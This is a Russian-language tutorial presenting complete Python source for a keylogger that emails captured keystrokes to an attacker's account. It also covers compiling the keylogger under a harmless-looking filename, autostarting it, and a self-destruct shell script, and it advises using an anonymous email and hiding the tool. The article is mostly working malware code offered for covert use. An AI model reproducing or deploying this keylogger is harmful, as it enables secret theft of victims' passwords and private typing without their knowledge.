В этой статье я покажу вам, как сделать продвинутый кейлоггер, который отправляет сообщения по электронной почте и самоуничтожается через определенный промежуток времени.
Используемый код (мы сохраним его как compile_docs.py1) выглядит последующим
образом:
#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
from email.message import EmailMessage
import smtplib, ssl
keys = ''
def on_press(key):
    print(key)
    global keys, count
    keys += str(key)
    print(len(keys),  keys)
    if len(keys) > 190:
        send_email(keys)
        keys = ''
def send_email(message):
    smtp_server = "CHANGE"
    port = 587
    sender_email = "CHANGE"
    password = "CHANGE"
    receiver_email = sender_email
    em = EmailMessage()
    em.set_content(message)
    em['To'] = receiver_email
    em['From'] = sender_email
    em['Subject'] = 'keylog'
    context = ssl.create_default_context()
    with smtplib.SMTP(smtp_server, port) as s:
        s.ehlo()
        s.starttls(context=context)
        s.ehlo()
        s.login(sender_email, password)
        s.send_message(em)
with Listener(on_press=on_press) as listener:
    listener.join()
Мы должны заменить каждое CHANGE на информацию для отправки письма.
Очевидно, что используемый email должен быть анонимным, и вы можете
его уничтожить. По сути, с помощью приведенного выше кода мы отправляем
письмо каждый раз, когда нажимается несколько клавиш (порядка 190 символов).
Теперь мы собираемся скомпилировать код с помощью Nuitka:
sudo pip3 install nuitka
nuikta3 compile_docs.py
Программа создаст скомпилированный файл под названием compile_docs.bin.
Теперь вам нужно сделать так, чтобы этот файл запускался при запуске
браузера или загрузке компьютера, как это было описано в предыдущей статье.
Если мы хотим, чтобы программа самоуничтожилась через некоторое время, мы можем создать что-то вроде этого2:
#!/bin/sh
DATE=`date +%Y%m%d`
if [ $DATE > 20230501 ]; then
    rm /usr/share/doc/python3/compile_docs.py
    rm /usr/share/doc/python3/compile_docs.bin
    mv firefox.bin $0  # Removes this file
else
    python3 nuestro_keylogger.py
fi
Шаги по удалению кейлоггера могут немного отличаться в зависимости от того, как хорошо вы его спрятали.

 
    
Комментарии